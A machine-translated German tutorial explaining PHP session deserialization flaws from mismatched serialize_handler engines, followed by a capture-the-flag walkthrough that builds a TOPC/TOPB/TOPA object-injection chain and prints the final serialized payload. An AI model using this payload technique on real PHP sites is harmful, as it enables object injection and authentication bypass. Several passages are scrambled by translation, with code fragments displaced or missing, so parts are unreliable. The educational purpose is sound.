Heim  >  Artikel  >  Backend-Entwicklung  >  Detaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung

Detaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung

coldplay.xixi
coldplay.xixinach vorne
2020-07-20 17:45:062379Durchsuche

Detaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung

Es gibt drei Konfigurationselemente in php.ini:

session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.

Bei der Installation mit der xampp-Komponente lauten die Einstellungen der oben genannten Konfigurationselemente wie folgt:

session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen. Zusätzlich zum Standard gibt es neben der PHP-Engine auch andere Engines, und die Sitzungsspeichermethoden, die den verschiedenen Engines entsprechen, sind unterschiedlich.

php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens + Schlüsselname + dem durch die Funktion serialize() serialisierten Wert entspricht.

php: Der Speicher Methode ist: Schlüsselname + vertikaler Balken + durch die Funktion serialize() serialisierter Wert

php_serialize (php>5.5.4): Die Speichermethode ist, durch die Funktion serialize() serialisierter Wert

Die PHP-Engine wird standardmäßig in PHP verwendet. Wenn Sie sie auf eine andere Engine ändern möchten, müssen Sie nur den Code ini_set('session.serialize_handler', 'Die Engine, die eingestellt werden muss) hinzufügen ');. Der Beispielcode lautet wie folgt:

Das Sitzungsverzeichnis befindet sich in /var/lib/php/sessions

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

Unter der php_serialize-Engine lauten die in der Sitzungsdatei gespeicherten Daten:

a:1:{s:4:"name";s:6:"spoock";}

Der Inhalt der Datei unter der PHP-Engine ist:

name|s:6:"spoock";

php_binary Der Inhalt der Datei unter der Engine ist:

names:6:"spoock";

Da die Länge des Namens 4, 4 beträgt entspricht EOT in der ASCII-Tabelle. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)

Serialisierungsrisiken in PHP-Sitzung

Es gibt kein Problem mit der Implementierung von Session in PHP. Der Schaden wird hauptsächlich durch die unsachgemäße Verwendung von Session durch Programmierer verursacht.

Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:

$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

php-Datei wie:

Nach dem Zugriff lautet der Inhalt der Sitzungsdatei wie folgt:

root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

Zu diesem Zeitpunkt wird jedoch die Simulation verwendet Verschiedene PHP-Engines auf anderen Seiten. Der Inhalt beim Lesen ist wie folgt: (Standardmäßig wird die PHP-Engine zum Lesen der Sitzungsdatei verwendet)

a;
  }
}
// var_dump($_SESSION);

Beim Zugriff auf diese Seite wird xx

xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}
Das liegt daran, dass bei Verwendung der PHP-Engine die PHP-Engine als Trennzeichen zwischen Schlüssel und Wert verwendet wird, dann wird a:1:{s:4:"ryat";s:30:" als verwendet SESSION-Schlüssel und O:1:"A":1:{s :1:"a";s:2:"xx";} als Wert und deserialisieren Sie dann, und schließlich erhalten Sie die Klasse A

Aufgrund der Serialisierung und Deserialisierung sind die unterschiedlichen Engines die Ursache für die Sicherheitslücke bei der PHP-Sitzungsserialisierung. Beim Laden einer Seite mit der PHP-Engine liest die Sitzung den Inhalt der Sitzung und deserialisiert sie, wodurch die Sicherheitslücke ausgelöst wird ohne Ausgabe

Eine Schwachstellenanalyse der Sitzungsdeserialisierung auf GCTF:

Der Inhalt in index.php ist:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(__FILE__);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>

In PHP wird häufig eine Serialisierungsoperation verwendet, um auf Daten zuzugreifen. Wenn diese jedoch während des Serialisierungsprozesses nicht ordnungsgemäß verarbeitet wird, kann dies zu Sicherheitsrisiken führen. Der Inhalt in

<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>

query.php lautet:

/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function __construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function __toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function __wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function __destruct(){
    echo $this->attr;
  }
}
*/

Die Idee ist wie folgt:In dieser Frage erstellen wir einen TOPC, und

wird während der Zerstörung aufgerufen

echo $this->attr;
„assign attr“ Es handelt sich um ein TOPA-Objekt. Die __tostring-Magiemethode

wird automatisch aufgerufen, wenn in __tostring

aufgerufen wird Später ist es offensichtlich, dass das TOPA-Objekt später benötigt wird 🎜>, daher kann die Verwendung von

als Zeigerreferenz während der Serialisierung die Beurteilung umgehen, warum unserialize($this->attr) das Flag ausgibt Im Hintergrund steht möglicherweise __tostring. >$this->obj->token === $this->obj->ticketEs wird eine __wakeup()-Funktion geben, um die Parameter zu löschen Die Menge im Objekt ist groß genug, um die Weckfunktion zu umgehen. $a->ticket = &$a->token;

Der endgültige Code lautet:(string)$this->obj

$testa = new TOPA();
$testc = new TOPC();
$testb = new TOPB();
$testa->username = 0;
$testa->password = 0;
$testa->ticket = &$testa->token;
$sa = serialize($testa);
$testc->attr = $testb;
$testb->attr = $sa;
$test = serialize($testc);
echo $test;

Die endgültige Nutzlast ist:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

Das Obige ist der Herausgeber. Ich möchte Ihnen die Sicherheitslücke bei der Sitzungsdeserialisierung vorstellen. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Antwort pünktlich zu Ihnen.

Verwandte Lernempfehlungen:

PHP-Programmierung vom Einstieg bis zur Beherrschung

Das obige ist der detaillierte Inhalt vonDetaillierte Erläuterung der Sicherheitslücke bei der PHP-Sitzungsdeserialisierung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:jb51.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen